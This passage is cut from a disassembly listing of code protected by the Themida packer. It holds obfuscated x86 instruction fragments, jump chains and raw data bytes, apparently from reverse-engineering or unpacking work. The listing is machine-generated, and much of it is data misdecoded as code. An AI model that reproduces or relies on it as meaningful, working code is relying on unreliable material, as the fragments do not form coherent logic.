XREF: Themida_:00550090j push ebx mov bl, 1Fh mov ah, 77h add ah, 0B4h sub ah, bl sub ah, 0B4h pop ebx or ah, 8Ch and ah, 52h sub ah, 0FFh push ebp push esp pop ebp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx jmp loc_5507A4 ; --------------------------------------------------------------------------- loc_546A1D: ; CODE XREF: Themida_:00542A23j jmp loc_541B1F ; --------------------------------------------------------------------------- dw 0C181h dd 2D702222h, 0E981F901h, 2D702222h, 59CE315Fh, 0E9FFC683h dd 45B6h ; --------------------------------------------------------------------------- loc_546A3C: ; CODE XREF: Themida_:00545C5Fj mov [esp], esi mov esi, ebx mov ecx, esi pop esi mov ebx, [esp] add esp, 4 push esi push 5FAA10CFh mov esi, [esp] add esp, 4 xor esi, 12F3CB3h dec esi add esi, 1 jmp loc_542A05 ; --------------------------------------------------------------------------- loc_546A6B: ; CODE XREF: Themida_:0054EE1Aj mov ecx, 4 sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_5449A0 ; --------------------------------------------------------------------------- loc_546A7D: ; CODE XREF: Themida_:00548D12j mov edx, ecx pop ecx jmp loc_54C130 ; --------------------------------------------------------------------------- db 83h, 0C7h, 1 dd 15ADCF81h, 0F7812632h, 89E5A240h, 0FF5FFE29h, 0C8B2434h dd 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edx mov edx, 650617FAh jmp loc_55052E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 246C8100h, 5F078D04h, 24742938h, 24448104h, 5F078D04h dd 2434FF38h, 0BCC5E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546AF6: ; CODE XREF: Themida_:0054D5FBj sub edx, 60645656h add esi, edx pop edx push edi mov edi, esp jmp loc_54A362 ; --------------------------------------------------------------------------- db 0BAh dd 21E92E7Eh, 15AD329h, 241C8BD9h, 0E9E18951h, 3BC8h, 0E957E189h dd 70FAh, 35BAC381h, 50E930DEh, 520000F4h, 8DB055B2h, 205AD000h dd 536658C1h, 5AF3E9h, 34875100h, 0E9D6F724h, 4F05h, 81243C8Bh dd 4C4h, 74296600h, 5E660424h, 24740166h, 66566602h, 664A52BEh dd 4247401h, 0FFE6DCE9h, 35EF80FFh, 0C780D700h, 0E9EF8035h dd 5BF8005Ah, 80EBC380h, 0C328DDEBh, 0E9DDC380h, 1011h ; --------------------------------------------------------------------------- loc_546B90: ; CODE XREF: Themida_:005430C8j push esi push esp pop esi add esi, 4 add esi, 4 push esi jmp loc_544C93 ; --------------------------------------------------------------------------- word_546BA2 dw 77FFh ; DATA XREF: Themida_:005418B4o dd 58669D1Ch, 9C240410h, 0FFAF6EE9h, 0C7C980FFh, 0F180E1D0h dd 55C18076h, 0C059CF00h, 0F78002E7h, 5BF8008Bh, 0CC20E9h dd 0BE565E00h, 0B9E25F4Ch, 815EF501h, 491A98EBh, 81EB0154h dd 491A98C3h, 2434FF54h, 278DE9h db 0 ; --------------------------------------------------------------------------- loc_546BED: ; CODE XREF: Themida_:00542FCBj pop esi jmp loc_553468 ; --------------------------------------------------------------------------- db 5Eh dd 48BC501h, 4C48324h, 2C581h, 2C330000h, 242C3124h, 0B29DE9h db 0 ; --------------------------------------------------------------------------- loc_546C0D: ; CODE XREF: Themida_:0054C82Bj add edx, 0EF9D61E8h sub ebp, edx pop edx add eax, 40DF1BABh add eax, ebp push ebp jmp loc_55083A ; --------------------------------------------------------------------------- loc_546C23: ; CODE XREF: Themida_:00547CB9j add eax, 4 jmp loc_54A235 ; --------------------------------------------------------------------------- db 5Ch, 2Dh, 93h dd 14F085Dh, 5D9305D0h, 565A4F08h, 2E59C968h, 91685E20h dd 89000049h, 5B9240Ch, 2137BB44h, 0B33EE9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C56: ; CODE XREF: Themida_:0054BDD2j pop edi push edx mov edi, [esp] jmp loc_54396B ; --------------------------------------------------------------------------- loc_546C60: ; CODE XREF: Themida_:0054763Aj xor ecx, 483FF4C6h jmp loc_55672A ; --------------------------------------------------------------------------- db 66h dd 0E1F2E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C72: ; CODE XREF: Themida_:0054EACAj push ebp push 34676ACFh pop ebp add ebp, 0DD64D9B5h jmp loc_54E8FA ; --------------------------------------------------------------------------- dd 1F685657h, 0E900000Ch, 6719h ; --------------------------------------------------------------------------- loc_546C90: ; CODE XREF: Themida_:00549E6Bj xchg eax, [esp] pop esp mov [esp], ebx push esp pop ebx jmp loc_5487CD ; --------------------------------------------------------------------------- dw 0F780h dd 0BB34E969h, 0C0BEFFFFh, 0E9021E0Eh, 0E24Bh, 0C381E389h dd 4, 0F3DE9h, 4C48100h, 0E9000000h, 0FFFFDD2Fh, 0E188F488h dd 5CE95A58h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546CD3: ; CODE XREF: Themida_:0054D9AEj push esi mov esi, 374846E5h push esi not dword ptr [esp] pop esi push 0 sub [esp], esi pop esi jmp loc_5502E3 ; --------------------------------------------------------------------------- dd 0E9FE2958h, 0B2EEh, 80BEE980h, 0D9001BE9h, 501BC180h dd 0EB2CDAB0h, 421DE9h db 0 ; --------------------------------------------------------------------------- loc_546D09: ; CODE XREF: Themida_:0054F9A3j xor ch, 46h xor ch, 13h mov bl, ch pop ecx jmp loc_54201F ; --------------------------------------------------------------------------- db 0FEh aRqI db 'ÌRQ±ë¶²',0 aYaSz db 'ÎY€ÆËé‡{',0 align 2 loc_546D2A: ; CODE XREF: Themida_:005487A8j push dword ptr [esp] mov eax, [esp] jmp loc_554734 ; --------------------------------------------------------------------------- db 50h, 0B8h, 41h dd 0E9451346h, 4518h, 2414895Ch, 0A7E9h db 0 ; --------------------------------------------------------------------------- loc_546D49: ; CODE XREF: Themida_:0054B30Ej shl ebx, 1 shr ebx, 2 add ebx, 527D8823h or ebp, ebx jmp loc_554F29 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 13D8E9h, 0E973B300h, 0FFFFAE4Fh, 0F705E7C1h dd 6BC781DFh, 0E9A3E3A2h, 0F259h, 89240C89h, 4C181E1h dd 83000000h, 0C8704E9h, 29E95C24h, 0E90000A6h, 0FFFFAD83h dd 34FFCA28h, 240C8B24h, 4C481h, 0C4830000h, 5AD12004h dd 6BC7E9h, 2CD82800h, 3AB25241h, 0EA80D2F6h, 0C0D2F6E4h dd 0F28004EAh, 0EFF28041h, 0D000572Ch, 57B25266h, 1FE9D000h dd 680000CAh, 7D51h, 4382E9h db 0 ; --------------------------------------------------------------------------- loc_546DE5: ; CODE XREF: Themida_:005420CAj push eax mov eax, 1C6669F6h jmp loc_54C080 ; --------------------------------------------------------------------------- aPssu db 'P陓',0 align 2 aZSi_ db '‡,$éˆ_',0 align 2 loc_546DFE: ; CODE XREF: Themida_:00543810j pop ebp jmp loc_548D8A ; --------------------------------------------------------------------------- loc_546E04: ; CODE XREF: Themida_:00551BE0j xor eax, ecx push 258h mov [esp], eax push 6B4Ah mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_555018 ; --------------------------------------------------------------------------- loc_546E28: ; CODE XREF: Themida_:00547703j pop dword ptr [esp] pop esp jmp loc_5421C2 ; --------------------------------------------------------------------------- aXzIsig db 'Ñå‡ÍIé‰G',0 db 0 ; --------------------------------------------------------------------------- loc_546E3B: ; CODE XREF: Themida_:00551D56j sub edx, 6B9D2A29h xor [edx], eax jmp loc_54E935 ; --------------------------------------------------------------------------- loc_546E48: ; CODE XREF: Themida_:005529F2j pop edx pop dword ptr [esp] pop esp push ecx push esp jmp loc_54680B ; --------------------------------------------------------------------------- loc_546E54: ; CODE XREF: Themida_:0054DF89j mov ecx, 7809217Eh add esi, ecx pop ecx sub esi, ebx sub esi, 7809217Eh jmp loc_555B32 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F7010000h, 6B62E9h, 597CBA00h, 0C28158EAh, 0BCFBC1B8h dd 15AD501h, 34ED81FDh, 0E915E61Bh, 0C9Bh, 8904EC83h, 5451241Ch dd 4C18159h, 0E9000000h, 8611h ; --------------------------------------------------------------------------- loc_546EA4: ; CODE XREF: Themida_:0054B22Cj mov ecx, 6EC87B5Dh shr ecx, 3 xor ecx, 2A163332h inc ecx jmp loc_555055 ; --------------------------------------------------------------------------- dd 0C608F281h, 0D1017E83h, 0FFB584E9h, 59CA89FFh, 94B8505Eh dd 0D6AD02Ch, 362121Ah, 7F473548h, 0C2210B5Fh, 17685758h dd 8900003Eh, 61E9243Ch db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546EEB: ; CODE XREF: Themida_:0055022Fj pop ebx push eax jmp loc_54ECAD ; --------------------------------------------------------------------------- loc_546EF2: ; CODE XREF: Themida_:00553428j push dword ptr [esp] pop ecx add esp, 4 add bl, al mov eax, [esp] jmp loc_544399 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 0E9000000h, 3535h, 0E9242C89h, 0BCF3h ; --------------------------------------------------------------------------- loc_546F1C: ; CODE XREF: Themida_:005444F8j or ch, bl pop ebx add ch, 0D8h shr ch, 3 and ch, 0F1h add ch, 30h sub dh, 33h push ecx jmp loc_54FF0E ; --------------------------------------------------------------------------- dd 15AD331h, 241C8BD8h, 6804C483h, 1A88h, 51243C89h, 5ABF5756h dd 0BE44022Dh, 0C0064800h, 895FFE01h, 0DA87E9F1h, 0FE890000h dd 0A9ECE95Fh, 0E7890000h, 4C781h, 0C7830000h, 243C8704h dd 46B8505Ch, 530CF81Ah, 0FB31E9h db 0 ; --------------------------------------------------------------------------- loc_546F81: ; CODE XREF: Themida_:005541EAj pop esi push ebx mov ebx, 0B692E987h add edx, ebx pop ebx sub ecx, edx mov edx, [esp] jmp loc_5434DD ; --------------------------------------------------------------------------- db 29h, 0DFh, 5Bh dd 7EEF815Eh, 119335Dh, 7EC781F7h, 5219335Dh, 0FFB30FE9h dd 4BB53FFh, 0E9000000h, 37D9h, 0E95AD001h, 0D946h, 0E95BD829h dd 0FFFFAB76h, 0F624248Bh, 56F4E9E9h, 0C2810000h, 0CE576E52h dd 2D2EC581h, 0C5811DA5h, 8985DD0h, 0ED81D501h, 8985DD0h dd 0D258E957h, 0FF53FFFFh, 5B042474h, 5C24048Fh, 0FFAB1EE9h dd 0C8BE0FFFh, 411A68h, 240C8900h, 0FFAB0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_547011: ; CODE XREF: Themida_:00543DDBj push ebx mov ebx, 0D192DFCh add edi, ebx jmp loc_55270E ; --------------------------------------------------------------------------- loc_54701E: ; CODE XREF: Themida_:0055457Aj add eax, 4 xchg eax, [esp] pop esp jmp loc_54DA52 ; --------------------------------------------------------------------------- loc_54702C: ; CODE XREF: Themida_:00546443j add esp, 4 jmp loc_545D8A ; --------------------------------------------------------------------------- dd 8C1EDFBFh, 67F7810Ah, 817EE653h, 5521D6F7h, 0F7814F2Dh dd 67760084h, 4B0BCF81h, 0EF811566h, 0D2D3398Bh, 21E4E9h dd 24348B00h, 0E904C483h, 2786h ; --------------------------------------------------------------------------- loc_547068: ; CODE XREF: Themida_:00543DBFj shl eax, 5 shl eax, 2 shr eax, 2 push esi jmp loc_554BB7 ; --------------------------------------------------------------------------- db 31h dd 0AFE92404h, 8B0000E1h, 0C4812404h, 4, 0FFE472E9h db 0FFh ; --------------------------------------------------------------------------- loc_54708D: ; CODE XREF: Themida_:005471A3j xchg ecx, [esp] not ecx jmp loc_54E3BD ; --------------------------------------------------------------------------- loc_547097: ; CODE XREF: Themida_:0054B948j add esi, eax pop eax xchg esi, [esp] mov esp, [esp] push ebx mov ebx, esp jmp loc_555578 ; --------------------------------------------------------------------------- dd 0B19FE94Bh, 248BFFFFh, 24248924h, 0E02BE9h, 82B95100h dd 134915Ch, 2434FFC8h, 4C48359h, 0B9FCE9h db 0 ; --------------------------------------------------------------------------- loc_5470CD: ; CODE XREF: Themida_:00545AAFj add edi, edx sub edi, 54C82C46h jmp loc_54EABE ; --------------------------------------------------------------------------- loc_5470DA: ; CODE XREF: Themida_:0055450Cj push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 xchg ebp, edi jmp loc_54C84F ; --------------------------------------------------------------------------- loc_5470EE: ; CODE XREF: Themida_:005433CBj pop edi push edi mov edi, 76523919h jmp loc_553F14 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 0F781E7D1h, 53C208A4h, 0FFF4AAE9h, 0B4E958FFh dd 5FFFFBDh, 4, 405h, 0B0DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547122: ; CODE XREF: Themida_:00553C8Aj add edi, 4 xchg edi, [esp] mov esp, [esp] push ebp mov ebp, 50130A8Eh add eax, ebp jmp loc_54A059 ; --------------------------------------------------------------------------- dd 0FFA9E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54713D: ; CODE XREF: Themida_:0055249Fj shl dh, 7 push 4814h mov [esp], ecx jmp loc_554F30 ; --------------------------------------------------------------------------- loc_54714D: ; CODE XREF: Themida_:00551C07j sub eax, edi pop edi jmp loc_556B29 ; --------------------------------------------------------------------------- byte_547155 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00541A88o dd 4EC81h, 0C890000h, 0C23E6824h, 34FF1006h, 8D4DE924h dd 0EE830000h, 0BBC681FFh, 29D303EBh, 0EB815EF3h, 2C8D4971h dd 0E92434FFh, 911Bh, 0B22DE95Ah, 0C7830000h, 243C8704h dd 6B52E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54719A: ; CODE XREF: Themida_:005431E8j sub ebp, 0FFFFFFFFh neg ebp push ebp jmp loc_54708D ; --------------------------------------------------------------------------- loc_5471A8: ; CODE XREF: Themida_:005486F3j mov esp, [esp] jmp loc_54D92E ; --------------------------------------------------------------------------- dd 9EBF5750h, 0B86D2412h, 1215E10h, 9709E9h db 0 ; --------------------------------------------------------------------------- loc_5471C1: ; CODE XREF: Themida_:00548AA0j sub esi, ecx pop ecx push esi sub dword ptr [esp], 593B5424h jmp loc_554457 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 1000000h, 348758C6h, 24248B24h, 0E92434FFh, 16C0h, 0FFA932E9h dd 5DEF01FFh, 0FFF26BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5471F5: ; CODE XREF: Themida_:0054E7E0j mov edi, 6B5715D7h push edx mov edx, 22ED47BBh not edx shl edx, 5 shl edx, 8 sub edx, 3044A05h sub esi, edx pop edx jmp loc_554D25 ; --------------------------------------------------------------------------- loc_547216: ; CODE XREF: Themida_:005463F0j push eax mov eax, 13803094h mov ebp, 497B2F11h xor ebp, eax jmp loc_5491B7 ; --------------------------------------------------------------------------- dd 8324348Bh, 685304C4h, 3717h, 81242489h, 4ECh, 0E388E900h dd 0C381FFFFh, 54E4776Bh, 3B6BEB81h, 0E3E96EE6h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547253: ; CODE XREF: Themida_:0054A90Ej push ebx mov ebx, 1FAA66CFh push ebx not dword ptr [esp] jmp loc_544806 ; --------------------------------------------------------------------------- dw 0B8E9h dd 59FFFFA8h, 8105E9C1h, 671511E9h, 2E9C139h, 0C48BE9h dd 8082B100h, 526637F1h, 5317E9h, 8EEC000h, 247D68h, 241C8900h dd 884EB050h, 0E95058C7h, 0FFFFEA21h ; --------------------------------------------------------------------------- loc_54729C: ; CODE XREF: Themida_:00543018j add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_549BFD ; --------------------------------------------------------------------------- loc_5472B5: ; CODE XREF: Themida_:00542138j sub ebx, 6EF43DCh mov edx, [esp] add esp, 4 push edx mov edx, ebx mov esi, edx mov edx, [esp] jmp loc_553EAB ; --------------------------------------------------------------------------- loc_5472CE: ; CODE XREF: Themida_:0054A774j xor eax, 10EF2E42h add edi, eax push dword ptr [esp] jmp loc_550725 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHqi db '$hQi',0 align 2 dw 3C89h dd 34FF5424h, 7CD5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5472F2: ; CODE XREF: Themida_:0054A24Cj neg ch jmp loc_54F9A1 ; --------------------------------------------------------------------------- byte_5472F9 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0054195Co dd 1CE99C24h db 0A8h, 2 dup(0FFh) byte_547303 db 66h ; DATA XREF: Themida_:0054192Co dd 68240C8Bh, 7330h, 89242C89h, 46BA52E5h, 0C1030C30h dd 0EA8102E2h, 691B24EAh, 2C7BB951h, 7FE97BA4h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54732B: ; CODE XREF: Themida_:00548B6Dj mov esi, 1D927944h not esi shr esi, 3 add esi, 6FDB6B36h add esi, 0E5104015h jmp loc_542FC9 ; --------------------------------------------------------------------------- dw 8B54h dd 37E92404h, 0C10000D5h, 0C38104E3h, 695935C2h, 815BDA89h dd 9A3092CAh, 0D2F74A76h, 878DC281h, 0D0317A5Dh, 8E0C15Ah dd 121CBD55h, 0E831231Ah, 8BC5015Dh, 0C4832404h, 2A116804h dd 20E90000h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54738B: ; CODE XREF: Themida_:005441D4j add eax, [ecx] pop ecx jmp loc_548A10 ; --------------------------------------------------------------------------- loc_547393: ; CODE XREF: Themida_:0055476Ej mov [esp], esi mov esi, esp sub esp, 4 jmp loc_5466C9 ; --------------------------------------------------------------------------- loc_5473A3: ; CODE XREF: Themida_:00550257j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ecx mov ecx, 6E5D5908h push ebp mov ebp, 11FA3AB7h and ecx, ebp mov ebp, [esp] jmp loc_54E07C ; --------------------------------------------------------------------------- dw 2C80h dd 2C281E24h, 24048024h, 242C8A1Eh, 8004C483h, 43E901EDh dd 5E00005Bh, 16D9E9h, 0D5F75A00h, 0E903E5C1h, 0A46Ch dd 0FDE95A66h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5473F3: ; CODE XREF: Themida_:00549CD0j pop edi add ebp, 4 jmp loc_54F9B0 ; --------------------------------------------------------------------------- db 0B8h dd 1877642Bh, 0FFEE00E9h, 0E9514EFFh, 0E20Dh, 0C0E95058h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547417: ; CODE XREF: Themida_:00551B9Dj add dword ptr [esp], 4 pop ebp jmp loc_5525CB ; --------------------------------------------------------------------------- dd 0F75BDF89h, 0F56FE9DFh, 0C181FFFFh, 4, 5C240C87h, 29D2E9h db 0 ; --------------------------------------------------------------------------- loc_54743D: ; CODE XREF: Themida_:005551C2j push 4B6Eh mov [esp], edx push ebp sub esp, 4 mov [esp], ecx push 148743F5h mov ecx, [esp] jmp loc_54DAF0 ; --------------------------------------------------------------------------- dword_54745C dd 8B2434FFh, 9AE92404h ; DATA XREF: Themida_:00541A7Co db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547467: ; CODE XREF: Themida_:00546647j shl ebx, 1 inc ebx add ebx, 0C253C258h xor ebp, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ebx push edi mov edi, esp push eax mov eax, 4BBD0869h neg eax shl eax, 2 sub eax, 47AE3040h xor eax, 6FC5303Eh push ebx mov ebx, 0 sub ebx, eax xchg eax, ebx pop ebx xor eax, 196761DAh add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp and ecx, ebp pop ebp shr ecx, 0Ah jmp loc_548C85 ; --------------------------------------------------------------------------- dw 5150h dd 99E971B5h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5474C7: ; CODE XREF: Themida_:0054354Bj mov [esp], edx mov edx, 19546139h xor edx, 2E15371Fh add esi, edx mov edx, [esp] jmp loc_554AE7 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 0FFABCEE9h, 60E954FFh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5474F3: ; CODE XREF: Themida_:0054DBA9j pop edx add ebx, edi jmp loc_554438 ; --------------------------------------------------------------------------- dd offset dword_56C468 align 10h dd 0B1240C89h, 4E9C0ACh, 55F5E9h db 0 ; --------------------------------------------------------------------------- loc_54750D: ; CODE XREF: Themida_:005549E0j mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp mov [esp], edi jmp loc_543541 ; --------------------------------------------------------------------------- loc_547521: ; CODE XREF: Themida_:00541CC3j push eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx pop eax jmp loc_552582 ; --------------------------------------------------------------------------- dd 3C8BFB31h, 4C48324h, 5C55EE81h, 9AE967DEh, 8900000Ch dd 0BB532434h, 1C260991h, 0F673BA52h, 0D689E3D9h, 87E9535Ah dd 52000071h, 80FEE9h, 40F18100h, 2920C810h, 59CF87F9h dd 8102EFC1h, 5A7185C7h, 0F1B1E928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54758E: ; CODE XREF: Themida_:00547F63j xor ebx, 621B744Fh sub ebx, 403C053Fh jmp loc_550D23 ; --------------------------------------------------------------------------- db 0FFh dd 5E042474h, 5C24048Fh, 4B97E9h, 5BDA8900h, 148BD601h dd 5459E924h db 2 dup(0) word_5475BA dw 34FFh ; DATA XREF: Themida_:00541A04o dd 89575924h, 4C781E7h, 81000000h, 4EFh, 129EE900h, 0B8500000h dd 1A902325h, 54FAE9h, 0E9FE0100h, 0FFFFB861h, 1E0D7EB9h dd 0C8C98172h, 5127767Ah, 59240CFFh, 0A0FBE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5475FA: ; CODE XREF: Themida_:0054A9F7j pop ecx push ebp mov ebp, 4 jmp loc_54E760 ; --------------------------------------------------------------------------- dw 1489h dd 6DBA6624h, 0F2816631h, 0F9E94F02h, 5200008Ch, 6094E9h db 0 ; --------------------------------------------------------------------------- loc_54761D: ; CODE XREF: Themida_:00542E2Bj sub edx, 0CA61A56h jmp loc_542A10 ; --------------------------------------------------------------------------- loc_547628: ; CODE XREF: Themida_:00542125j push 69C6146Ch pop ecx xor ecx, 36B571ABh add ecx, 18A728D9h jmp loc_546C60 ; --------------------------------------------------------------------------- db 66h dd 6608EBC1h, 0EB81664Bh, 8966ABE0h, 0D3CCE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547652: ; CODE XREF: Themida_:00552FA1j mov [esp], esi mov esi, 1752128Dh shl esi, 8 xor esi, 67F2F212h sub ebp, 35DA43E6h sub ebp, esi jmp loc_546448 ; --------------------------------------------------------------------------- loc_547670: ; CODE XREF: Themida_:0054D8E1j and ebx, edx jmp loc_5537A0 ; --------------------------------------------------------------------------- loc_547677: ; CODE XREF: Themida_:00553D38j shl esi, 7 jmp loc_5465F6 ; --------------------------------------------------------------------------- db 83h dd 0EE8104C4h, 66807F3Ch, 0C681DE01h, 66807F3Ch, 6712EE81h dd 1C8B7E19h, 4C48124h, 0E9000000h, 0F1ADh dword_5476A4 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0A64h ; DATA XREF: Themida_:005418D4o ; --------------------------------------------------------------------------- loc_5476B4: ; CODE XREF: Themida_:00550521j add esp, 4 jmp loc_543A44 ; --------------------------------------------------------------------------- db 0B6h dd 5BDE3004h, 0B803E9h, 1665A00h, 0C58166FDh, 815F7E6Fh dd 2ECh, 1C896600h, 25BB6624h, 0DD31663Bh, 66565B66h, 6652FDBEh dd 6FB1EE81h, 0E3CE8166h, 0EE81664Ch, 3166BC64h, 0BD8FE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547702: ; CODE XREF: Themida_:005479AAj pop ebx jmp loc_546E28 ; --------------------------------------------------------------------------- dd 4BFh, 5FF80100h, 0E9240487h, 2797h ; --------------------------------------------------------------------------- loc_547718: ; CODE XREF: Themida_:00545E06j mov bl, 8Ah sub bl, dl push dword ptr [esp] jmp loc_553335 ; --------------------------------------------------------------------------- dd 895DA22Dh, 5E9571Bh, 97FFFFF9h, 0E3E9D7F7h, 5000030h dd 1, 0FFFFEEE9h, 7C0D68FFh, 14890000h, 51E28924h, 5F2CE9h dd 13FA6800h, 0C890000h, 0E2895224h, 0DF06E951h, 0FF2D0000h dd 35FFFFFFh, 566A5631h, 0E707CD05h, 0C6EA2D52h, 0C7015145h dd 74CDE9h, 1DF18100h, 0F7266707h, 81D9F7D1h, 0C9A330F1h dd 59CD019Eh, 8102EDC1h, 94D350F5h, 0C083E950h, 1C89FFFFh dd 16D0BB24h, 0AFE9315Fh, 53000085h, 56B150B3h, 34FFD900h dd 241C8B24h, 6EDAE9h db 0 ; --------------------------------------------------------------------------- loc_5477BD: ; CODE XREF: Themida_:00551172j push ebx mov bl, dl push edx mov dl, bl mov ch, dl pop edx pop ebx mov [edi+eax*4+1], ch push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push edx jmp loc_55205B ; --------------------------------------------------------------------------- aLRsb db '‹<$Ré¡`',0 db 0 byte_5477E7 db 66h ; DATA XREF: Themida_:00541AD0o dd 8324048Bh, 0C8904ECh, 15B56824h, 8F540000h, 4812404h dd 424h, 2434FF00h, 4C48359h, 4C181h, 0EC810000h, 4, 68243C89h dd 10DEh, 0BE243489h, 12166F64h, 7DE9F789h, 5CFFFFEEh dd 81242489h, 42404h, 1C8B0000h, 4C48124h, 56000000h, 525B6850h dd 0A3E92FB9h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54784B: ; CODE XREF: Themida_:0054DC2Dj mov edi, ebx pop ebx jmp loc_55158F ; --------------------------------------------------------------------------- byte_547853 db 66h ; DATA XREF: Themida_:0054186Co dd 51240C8Bh, 644368h, 24248900h, 0EE5BE9h, 24048B00h dd 5FBFE9h db 0 ; --------------------------------------------------------------------------- loc_54786D: ; CODE XREF: Themida_:0054B64Fj push ebx mov ebx, 0CAC5843Fh sub [edi+20h], ebx mov ebx, [esp] push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx jmp loc_552E78 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4240481h, 0E9000000h, 0B42Ch ; --------------------------------------------------------------------------- loc_547898: ; CODE XREF: Themida_:00551618j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 4EBDh mov [esp], edi push 3D15h mov [esp], esp add dword ptr [esp], 4 jmp loc_549445 ; --------------------------------------------------------------------------- db 1 dd 3C335EF7h, 243C3124h, 5C243C33h, 14D568h, 24348900h dd 4BEh, 0B9515600h, 2AFD2409h, 0E941D1F7h, 43D9h ; --------------------------------------------------------------------------- loc_5478E4: ; CODE XREF: Themida_:00550A4Cj mov edx, 65DA61C7h push edi push 8F28AC26h mov edi, [esp] add esp, 4 mov ebx, edi jmp loc_54A766 ; --------------------------------------------------------------------------- loc_5478FF: ; CODE XREF: Themida_:00544808j xor ebx, 47A0D45h sub ebx, 0D8FD1EF2h jmp loc_54526E ; --------------------------------------------------------------------------- loc_547910: ; CODE XREF: Themida_:00544BE0j add al, 0C2h add al, 0Dh add al, 0FEh sub bl, al jmp loc_5514A0 ; --------------------------------------------------------------------------- aKStS3s db 'Š,$ST[é3S',0 align 4 dd 0E9EA0159h, 0C10Eh, 0C581FD01h, 610B5A6Fh, 57243C8Bh dd 5404EC83h, 8124048Fh, 42404h, 3C8B0000h, 4C48324h, 4C781h dd 0C7830000h, 3498E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54795E: ; CODE XREF: Themida_:0054B647j sub esi, ebp jmp loc_541B92 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 1C67E9h, 0E9D1F700h, 55C4h, 0E91AB050h, 2EF9h, 34F5C781h dd 0F729139Eh, 34F5EF81h, 0C35E139Eh, 0FFA18EE9h, 0B2C405FFh dd 0C689CF80h, 0BEEE8158h, 0E94F802Eh, 0FFFFE5C8h ; --------------------------------------------------------------------------- loc_5479A4: ; CODE XREF: Themida_:0054398Fj pop ebp push ebx push dword ptr [esp+4] jmp loc_547702 ; --------------------------------------------------------------------------- db 0BBh dd 58606FF7h, 347AE381h, 0E3816337h, 6A836AA9h, 0EFF0C381h dd 0E0E91042h, 5D0000EAh, 0E9EDD15Eh, 99AAh, 0E9F9015Bh dd 881Bh, 88E9FD89h, 500000C6h, 8A55D2B8h, 111E2501h, 2D481436h dd 2110Dh, 5158C701h, 4B9h, 59CF0100h, 31243C33h, 3C33243Ch dd 0D8315C24h, 81241C8Bh, 4C4h, 30FF6600h, 0FFA102E9h dd 1C875DFFh, 24248B24h, 9C243CD2h, 0A73AE9h db 0 ; --------------------------------------------------------------------------- loc_547A2D: ; CODE XREF: Themida_:005514EDj mov eax, 7B15472Dh add edx, eax mov eax, [esp] add esp, 4 jmp loc_5438B8 ; --------------------------------------------------------------------------- loc_547A3F: ; CODE XREF: Themida_:00546054j pop ebp sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push 37E5h jmp loc_543CB5 ; --------------------------------------------------------------------------- dw 5A68h dd 8B185F67h, 0C483243Ch, 7E7C104h, 0F6B95150h, 0B827C438h dd 7EF740Eh, 3159C801h, 24048BC7h, 8904C483h, 0EA815FF9h dd 397868F6h, 0C281CA01h, 397868F6h, 68240C8Bh, 779Dh dd 0E9242C89h, 4C03h ; --------------------------------------------------------------------------- loc_547A9C: ; CODE XREF: Themida_:00544F50j pop eax mov ebx, 7A390BF6h xor ebx, esi mov esi, [esp] add esp, 4 jmp loc_54469B ; --------------------------------------------------------------------------- dw 9405h dd 592A190Bh, 5C240487h, 8FC331h, 